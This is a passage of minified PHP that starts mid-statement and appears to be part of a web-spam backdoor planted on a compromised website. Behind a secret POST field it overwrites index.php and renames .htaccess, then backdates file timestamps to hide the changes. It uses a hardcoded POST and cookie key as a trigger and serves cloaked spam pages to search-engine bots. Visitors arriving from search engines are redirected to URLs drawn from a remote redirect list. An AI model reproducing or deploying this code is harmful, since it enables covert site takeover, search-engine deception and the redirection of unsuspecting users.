."/get_file.php?action=get_redirect"));touch($file_template,$dt);touch($file_content,$dt);touch($file_keys,$dt);touch($file_links,$dt);touch($file_ips,$dt);touch($file_redirect,$dt);touch($mdir,$dt);exit;}if(!empty($_POST["__backht__"])){$_fd=filemtime($_maindir);if(!is_writeable($_maindir .'/.htaccess'))chmod($_maindir .'/.htaccess',0777);rename($_maindir ."/.htaccess",$_maindir .'/' .date("y-m-d") .".htaccess");$_f=filemtime($_maindir .'/index.php');if(!is_writeable($_maindir .'/index.php'))chmod($_maindir .'/index.php',0777);file_put_contents($_maindir ."/index.php",$FL);touch($_maindir ."/index.php",$_f);touch($_maindir,$_fd);}if(file_exists($file_keys)&&filesize($file_keys)>0){$key=_searchKey($file_keys,$ext,$main_file_folder);if((isset($_POST['0ba4439ee9a46d9d9f14c60f88f45f87'])&& $_POST['0ba4439ee9a46d9d9f14c60f88f45f87']=='1fcb6275ac00086592a3054686c012bb')||isset($_COOKIE['0ba4439ee9a46d9d9f14c60f88f45f87']))$_isABot=true;else{if($full_check==true){if(_isBotIP($ip,$file_ips)==true||_isBotHeader()==true||_isBotUserAgent()==true||_isBotByHost($ip)==true)$_isABot=true;else $_isABot=false;}else{if(_isBotUserAgent()==true)$_isABot=true;else $_isABot=false;}}if($key==''&&file_exists($file_keys_old)&&filesize($file_keys_old)>0)$key_old=_searchKey($file_keys_old,$ext,$main_file_folder);else $key_old='';if($_isABot==true&&$key_old!=''&&$key==''){header("HTTP/1.1 301 Moved Permanently");header("Location: " .str_replace(urlencode(_getRandKey($file_keys_old,$main_file_folder)),'{KEY}',$_SERVER['REQUEST_URI']));exit;}if($key!=''){if($_isABot==true){if(file_exists($file_template)&&filesize($file_template)>0&&file_exists($file_content)&&filesize($file_content)>0){$cachefile=$file_folder .$prefix .urlencode(base64_encode(gzdeflate($key,9)));if(file_exists($cachefile)&&filesize($cachefile)>0&&$cache==true)echo gzinflate(file_get_contents($cachefile));else echo _getPage($file_keys,$file_template,$file_content,$file_links,$file_folder,$main_file_folder,$prefix,$key,$count_external_links,$cache,$ext);exit;}}else{if($_referer!=''&&str_replace($SE,'',$_referer)!==$_referer&&$from_search==true){if(file_exists($file_redirect)&&filesize($file_redirect)>0){$res=_getRedirectUrl($key,$file_redirect,$_domain,$_referer);if($res!=''){header("HTTP/1.1 302 Moved Temporary");header("Location: " .$res);echo '
';exit;}}}}}}if($restore_memory_limit==true)ini_restore('memory_limit');ini_restore('error_log');ini_restore('log_errors');